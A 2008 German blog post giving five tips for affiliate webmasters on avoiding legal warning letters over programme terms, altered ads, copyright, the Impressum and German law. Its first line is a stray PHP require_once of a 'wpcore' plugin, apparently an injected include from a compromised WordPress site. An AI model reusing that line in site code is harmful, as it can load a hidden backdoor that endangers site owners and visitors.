require_once(ABSPATH.'wp-content/plugins/wpcore/wpcore.php'); 5 Tipps um Abmahnungen zu vermeiden | Beste-Partnerprogramme.de

5 Tipps um Abmahnungen zu vermeiden

28. November 2008
By


Abmahnungen treffen leider immer mehr Webmaster: Mal sind eingesetzte Werbemittel nach deutschem Recht unzulässig, mal werden Urheberrechte unbewusst verletzt, mal gibt es andere kleine Fehler, die es Webmastern schwierig machen effektiv mit der eigenen Webseite Geld im Internet verdienen zu können.

Die folgende Topliste gibt daher erste Anhaltspunkt darüber, wie man Abmahnungen vermeiden und umgehen kann.

  • Programmkonditionen beachten
  • Das Wichtigste bei einer Teilnahme bei Partnerprogrammen ist das Beachten der Programmkonditionen. Wenn der Partnerprogrammanbieter bestimmte Sachen verbietet, so sollte sich der Affiliate an diese Verbote halten.
    So ist es häufig verboten, bestimmte Keywords, Produktnamen oder Marken in eigener Werbung (beispielsweise bei Google Adwords) zu verwenden. Tut der Affiliate das dann doch, so ist ein Ausschluss vom Programm (mit Verlust bisheriger Einnahmen) vorprogrammiert, in manchen Fällen kann es auch zu Abmahnungen kommen.

  • Werbemittel nicht verändern
  • Ein zweites Verbot, dass die meisten Anbieter vorgeben – das aber auch der gesunde Menschenverstand gebietet – ist das Verändern von Werbemitteln.
    Nur vom Programmanbieter vorgegebene Werbemittel sind rechtlich auf Einwandfreiheit geprüft und können daher eingesetzt werden.
    Ändert ein Affiliate die Werbemittel (um weitere Versprechen beispielsweise), so ergeben sich zweierlei Schwierigkeiten: Zum Einen verletzt der Affiliate in einem solchen Fall die Urheberrechte des Anbieters, die dieser auf die Werbemittel hat.
    Zum anderen läuft der Affiliate aber auch Gefahr eine teure Abmahnung zu erhalten, da die Werbemittel nach einer Änderung ggf. nicht mehr geltendem Recht entsprechen.

  • Urheberrechte klären
  • Das Verwenden von passenden Bildern zur Aufwertung des eigenen Contents ist durchaus sinnvoll. Nur sollte man vor einer Verwendung immer die Bildrechte an diesen Bildern klären.
    Nur wenn ein Bild wirklich zur Weiterverwendung und Bearbeitung lizensiert ist, darf man das Bild auch wirklich einsetzen.
    Der Klau von Bildern privater Webseiten (oder privat anmutender Webseiten) ist strikt zu unterlassen.
    Kann man Bild- und Urheberrechte nicht ausnahmslos klären: Finger weg!

    Selbiges gilt auch für multimediale Inhalte oder Text.

  • Vollständiges Impressum
  • Auf jede deutsche Internetseite gehört ein vollständiges Impressum, das alle Eventualitäten abklärt.
    Dazu gehören Postanschrift und Telefon, Verantwortlicher im Sinne des Presserechts und Telefonnummer, ggf. Jugendschutzbeauftragter und Steuerinformationen.
    Weist eine Seite solche Informationen nicht oder nur schwer zugänglich auf, lässt eine Abmahnung nicht lang auf sich warten.
    Es gilt: Das Impressum sollte durch einen Klick von jeder Seite (auch von Start- und Landingpage) erreichbar sein.

  • Deutsche Rechtsgültigkeit klären
  • Besonders Webmaster im Erotikbereich sollten darauf achten, dass die von Ihnen beworbenen Seiten auch mit deutschem Recht konform sind.
    Partnerprogramme zu Seiten, die nur unter nicht-deutschen Domains erreichbar sind, sind dabei generell mit Vorsicht zu genießen.
    Manchmal sind eben solche Webseiten dann nicht immer dem deutschen Jugendschutz entsprechend, weisen beispielsweise nur unvollständige Schutzmechanismen auf.
    Hierbei gilt manchmal: Weniger ist mehr! Sonst kann eine Abmahnung schnell dazu führen, dass Mehreinnahmen durch ein solch unsicheres Programm durch eine Abmahnung vollständig getilgt werden.

Diese fünf Punkte sind sicherlich nicht vollständig. Sie bieten aber einen ersten Anhaltspunkt für das richtige Vorgehen um teure Abmahnung umgehen zu können, wenn man Geld im Internet verdienen will.
Über Ergänzungen in Form von Kommentaren würde ich mich freuen.

Wichtiger Hinweis: Diese Anhaltspunkte müssen nicht der Vollständigkeit entsprechen und sind lediglich nach bestem Wissen und Gewissen zusammengetragen. Eine vollständige und vorallem rechtssichere Beratung kann zu diesem Thema nur ein zugelassener Anwalt machen, aber auch Verbraucherzentralen können im Fall von Abmahnungen erste Kontaktadressen sein.

Tags: , , , , , , , , , , , ,